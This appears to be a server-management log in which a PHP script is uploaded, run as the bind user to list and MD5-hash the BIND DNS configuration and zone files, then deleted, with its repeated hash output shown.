MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 17:05:43: Establishing a connection
2026-04-28 17:05:43: 

PUT: /tmp/pkp892652

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 17:05:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp892652; rm /tmp/pkp892652'

2026-04-28 17:05:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 17:05:46: Establishing a connection
2026-04-28 17:05:46: 

PUT: /tmp/pkp122784

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 17:05:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp122784; rm /tmp/pkp122784'

2026-04-28 17:05:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
